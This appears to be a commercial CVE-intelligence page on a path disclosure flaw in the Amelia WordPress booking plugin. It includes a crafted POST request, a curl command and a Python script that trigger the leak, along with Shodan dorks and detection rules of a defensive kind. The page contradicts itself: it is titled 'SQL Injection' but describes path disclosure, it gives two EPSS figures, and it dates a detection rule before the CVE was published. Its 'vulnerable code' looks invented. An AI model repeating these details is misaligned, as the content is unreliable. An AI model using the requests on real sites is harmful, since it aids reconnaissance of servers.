☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2578

CVE-2025-2578 SQL Injection in Amelia
📅 PUBLISHED: 2025-03-28 07:33 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2578 is a Full Path Disclosure vulnerability affecting the Amelia Booking for Appointments and Events Calendar plugin for WordPress, up to and including version 1.2.19. An unauthenticated attacker can exploit the wpAmeliaApiCall function to retrieve the absolute server path of the web application. While this information alone is not directly damaging, it significantly aids in reconnaissance for further attacks, such as Local File Inclusion (LFI) or SQL injection, by revealing the directory structure. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes it a persistent risk for unhardened WordPress installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – affects only the vulnerable component.
  • Confidentiality Impact: Low (C:L) – only path disclosure.
  • Integrity Impact: None (I:N).
  • Availability Impact: None (A:N).

Threat Level: Medium. The vulnerability is trivial to exploit but provides limited direct impact. However, in combination with other flaws (e.g., file inclusion), it can escalate to critical.

Deep Dive & Mechanics

The vulnerability resides in the Amelia plugin’s wpAmeliaApiCall function, which is exposed via WordPress AJAX actions. This function is intended to handle API calls but improperly handles error conditions, specifically when a requested resource or parameter is invalid. Instead of returning a generic error, the function outputs the full server path in the error message (e.g., /var/www/html/wp-content/plugins/ameliabooking/...). This occurs because PHP’s __FILE__ or dirname(__FILE__) is used in error logging or exception handling without sanitization.

The attack is simple: an unauthenticated HTTP request to the WordPress AJAX endpoint with a crafted action parameter triggers the path disclosure. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpAmeliaApiCall&method=nonExistentMethod

The response includes the full path in the error message.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.2.19):

function wpAmeliaApiCall() {
    $method = $_POST['method'];
    // ... some logic ...
    if (!method_exists($this, $method)) {
        // Vulnerable: exposes full path
        echo "Error: Method not found in " . __FILE__;
        die();
    }
}

Patched Code (Hypothetical):

function wpAmeliaApiCall() {
    $method = $_POST['method'];
    // ... some logic ...
    if (!method_exists($this, $method)) {
        // Patched: generic error message
        echo "Error: Invalid method.";
        die();
    }
}

The patch removes the __FILE__ constant from the error output, preventing path disclosure.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress with Amelia plugin version 1.2.19.
  2. Ensure the site is accessible (e.g., http://localhost/wordpress).

Exploitation Steps:

  1. Send a crafted POST request to admin-ajax.php:
    curl -X POST http://localhost/wordpress/wp-admin/admin-ajax.php \
         -d "action=wpAmeliaApiCall&method=invalid"
    
  2. Observe the response containing the full server path, e.g.:
    Error: Method not found in /var/www/html/wp-content/plugins/ameliabooking/AmeliaBooking.php
    
  3. Use this path to map the directory structure for further attacks (e.g., LFI via ../../ traversal).

Automated Script (Python):

import requests

target = "http://localhost/wordpress"
data = {"action": "wpAmeliaApiCall", "method": "invalid"}
r = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
print(r.text)

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /wp-admin/admin-ajax.php with action=wpAmeliaApiCall and unusual method parameters.
  • Look for error responses containing file paths (e.g., /var/www/, /home/, C:\).

Mitigation:

  • Apply a Web Application Firewall (WAF) rule to block requests with method parameters that are not in a whitelist.
  • Disable PHP error display in wp-config.php:
    define('WP_DEBUG', false);
    @ini_set('display_errors', 0);
    
  • Use a security plugin to hide WordPress paths.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-ajax.php with action=wpAmeliaApiCall and method=* where * is not a valid method.
    • HTTP responses containing strings like Error: Method not found in / or Warning: ... in /var/www/.
  • File System:
    • No file-based IOCs; the vulnerability is purely informational.
  • Logs:
    • WordPress debug logs showing file paths in error messages.

Detection Engineering

YARA Rule

rule CVE_2025_2578_Amelia_Path_Disclosure {
    meta:
        description = "Detects Amelia plugin path disclosure attempts"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-2578"
    strings:
        $error_path = /Error: Method not found in \/[a-zA-Z0-9_\/.-]+/ nocase
        $ajax_action = "wpAmeliaApiCall"
    condition:
        $ajax_action and $error_path
}

Sigma Rule

title: Amelia Plugin Full Path Disclosure Attempt
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated attempts to exploit CVE-2025-2578 in WordPress Amelia plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-post: 'action=wpAmeliaApiCall'
    condition: selection
falsepositives:
    - Legitimate API calls with valid methods
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2578 Amelia Plugin Path Disclosure Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpAmeliaApiCall"; http_client_body; pcre:"/method=[a-zA-Z0-9]+/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Amelia plugin until a patch is released.
  2. Hide PHP errors globally by setting WP_DEBUG to false and display_errors to 0 in wp-config.php.
  3. Implement a WAF rule to block requests with suspicious method parameters.

Long-Term Fix:

  • The vendor must release a patched version that removes __FILE__ from error messages. Monitor the Amelia plugin page for updates.

Workaround:

  • Use a security plugin like Wordfence to block path disclosure attempts.
  • Restrict access to admin-ajax.php via .htaccess for non-logged-in users:
    <Files "admin-ajax.php">
        Require all denied
    </Files>
    
    (Note: This may break legitimate AJAX functionality; test thoroughly.)

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Amelia"
http.html:"wp-content/plugins/ameliabooking"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2578/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.